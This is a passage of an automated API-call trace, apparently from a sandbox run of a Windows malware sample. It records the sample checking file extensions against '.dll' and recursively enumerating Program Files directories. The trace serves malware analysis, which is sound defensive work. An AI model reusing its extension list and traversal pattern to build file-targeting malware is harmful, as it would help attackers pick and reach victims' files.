(lpString=".m4v") returned 4 [0140.121] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".max") returned 4 [0140.121] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".md") returned 3 [0140.121] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0140.121] lstrlenW (lpString=".mda") returned 4 [0140.121] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mdb") returned 4 [0140.122] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mde") returned 4 [0140.122] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mdf") returned 4 [0140.122] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mdw") returned 4 [0140.122] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mef") returned 4 [0140.122] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mft") returned 4 [0140.122] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mfw") returned 4 [0140.122] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mht") returned 4 [0140.122] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mhtml") returned 6 [0140.122] lstrcmpiW (lpString1=".mhtml", lpString2="ci.dll") returned -1 [0140.122] lstrlenW (lpString=".mka") returned 4 [0140.122] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mkidx") returned 6 [0140.122] lstrcmpiW (lpString1=".mkidx", lpString2="ci.dll") returned -1 [0140.122] lstrlenW (lpString=".mkv") returned 4 [0140.122] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mos") returned 4 [0140.122] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mov") returned 4 [0140.122] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mp3") returned 4 [0140.122] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mp4") returned 4 [0140.122] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0140.122] lstrlenW (lpString=".mpeg") returned 5 [0140.122] lstrcmpiW (lpString1=".mpeg", lpString2="i.dll") returned -1 [0140.123] lstrlenW (lpString=".mpg") returned 4 [0140.123] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".mpv") returned 4 [0140.123] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".mrw") returned 4 [0140.123] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".msg") returned 4 [0140.123] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".mxl") returned 4 [0140.123] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".myd") returned 4 [0140.123] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".myi") returned 4 [0140.123] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".nef") returned 4 [0140.123] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".nrw") returned 4 [0140.123] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".obj") returned 4 [0140.123] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".odb") returned 4 [0140.123] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".odc") returned 4 [0140.123] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".odm") returned 4 [0140.123] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".odp") returned 4 [0140.123] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0140.123] lstrlenW (lpString=".ods") returned 4 [0140.124] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".oft") returned 4 [0140.124] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".one") returned 4 [0140.124] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".onepkg") returned 7 [0140.124] lstrcmpiW (lpString1=".onepkg", lpString2="sci.dll") returned -1 [0140.124] lstrlenW (lpString=".onetoc2") returned 8 [0140.124] lstrcmpiW (lpString1=".onetoc2", lpString2="ssci.dll") returned -1 [0140.124] lstrlenW (lpString=".opt") returned 4 [0140.124] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".oqy") returned 4 [0140.124] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".orf") returned 4 [0140.124] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".p12") returned 4 [0140.124] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".p7b") returned 4 [0140.124] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".p7c") returned 4 [0140.124] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".pam") returned 4 [0140.124] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".pbm") returned 4 [0140.124] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".pct") returned 4 [0140.124] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0140.124] lstrlenW (lpString=".pcx") returned 4 [0140.124] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pdd") returned 4 [0140.125] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pdf") returned 4 [0140.125] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pdp") returned 4 [0140.125] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pef") returned 4 [0140.125] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pem") returned 4 [0140.125] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pff") returned 4 [0140.125] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pfm") returned 4 [0140.125] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0140.125] lstrlenW (lpString=".pfx") returned 4 [0140.137] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0140.137] lstrlenW (lpString=".pgm") returned 4 [0140.137] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0140.137] lstrlenW (lpString=".php") returned 4 [0140.137] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0140.137] lstrlenW (lpString=".php3") returned 5 [0140.137] lstrcmpiW (lpString1=".php3", lpString2="i.dll") returned -1 [0140.137] lstrlenW (lpString=".php4") returned 5 [0140.137] lstrcmpiW (lpString1=".php4", lpString2="i.dll") returned -1 [0140.137] lstrlenW (lpString=".php5") returned 5 [0140.137] lstrcmpiW (lpString1=".php5", lpString2="i.dll") returned -1 [0140.137] lstrlenW (lpString=".phtml") returned 6 [0140.137] lstrcmpiW (lpString1=".phtml", lpString2="ci.dll") returned -1 [0140.137] lstrlenW (lpString=".pict") returned 5 [0140.137] lstrcmpiW (lpString1=".pict", lpString2="i.dll") returned -1 [0140.137] lstrlenW (lpString=".pl") returned 3 [0140.137] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0140.137] lstrlenW (lpString=".pls") returned 4 [0140.137] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0140.137] lstrlenW (lpString=".pm") returned 3 [0140.137] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0140.137] lstrlenW (lpString=".png") returned 4 [0140.137] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0140.137] lstrlenW (lpString=".pnm") returned 4 [0140.137] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0140.137] lstrlenW (lpString=".pot") returned 4 [0140.138] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0140.138] lstrlenW (lpString=".potm") returned 5 [0140.138] lstrcmpiW (lpString1=".potm", lpString2="i.dll") returned -1 [0140.138] lstrlenW (lpString=".potx") returned 5 [0140.138] lstrcmpiW (lpString1=".potx", lpString2="i.dll") returned -1 [0140.138] lstrlenW (lpString=".ppa") returned 4 [0140.138] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0140.138] lstrlenW (lpString=".ppam") returned 5 [0140.138] lstrcmpiW (lpString1=".ppam", lpString2="i.dll") returned -1 [0140.138] lstrlenW (lpString=".ppm") returned 4 [0140.138] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0140.138] lstrlenW (lpString=".pps") returned 4 [0140.138] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0140.138] lstrlenW (lpString=".ppsm") returned 5 [0140.138] lstrcmpiW (lpString1=".ppsm", lpString2="i.dll") returned -1 [0140.138] lstrlenW (lpString=".ppt") returned 4 [0140.138] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.138] lstrlenW (lpString=".pptm") returned 5 [0140.138] lstrcmpiW (lpString1=".pptm", lpString2="i.dll") returned -1 [0140.138] lstrlenW (lpString=".pptx") returned 5 [0140.138] lstrcmpiW (lpString1=".pptx", lpString2="i.dll") returned -1 [0140.139] lstrlenW (lpString=".prn") returned 4 [0140.139] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0140.139] lstrlenW (lpString=".ps") returned 3 [0140.139] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0140.139] lstrlenW (lpString=".psb") returned 4 [0140.139] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0140.139] lstrlenW (lpString=".psd") returned 4 [0140.139] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0140.139] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.139] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.139] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.139] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0140.139] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0140.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.139] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0140.139] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0140.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bb98 [0140.140] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.140] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.140] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0140.140] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0140.140] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.140] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0140.140] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0140.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bb98 [0140.141] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.141] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.141] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0140.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bed8 [0140.142] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.142] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.142] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4425680 [0140.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0x3e5bf58 [0140.143] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0140.143] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0140.143] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0140.143] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0140.143] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.143] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.143] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0140.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5b898 [0140.145] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.145] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.145] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4425680 [0140.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0x3e5bed8 [0140.146] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0140.146] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0140.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.146] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0140.146] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.146] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.147] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0140.147] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0140.147] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.147] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0140.147] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0140.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bb98 [0140.148] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.148] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.149] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0140.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5b898 [0140.149] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0140.149] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.149] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.149] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.150] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0140.150] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0140.150] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.150] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0140.150] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0140.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5ba18 [0140.151] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.151] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.151] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.151] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.151] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0140.151] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0140.152] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.152] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0140.152] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0140.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5b898 [0140.154] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.154] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.154] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0140.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bed8 [0140.155] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.155] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4425680 [0140.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0x3e5ba18 [0140.155] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0140.155] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0140.155] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0140.156] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0140.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.156] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.156] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.156] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0140.156] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.156] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.156] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0140.156] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0140.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bed8 [0140.158] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.158] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.158] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0140.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bb98 [0140.158] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.159] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.159] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0140.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0140.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0140.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0140.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0140.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0140.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: 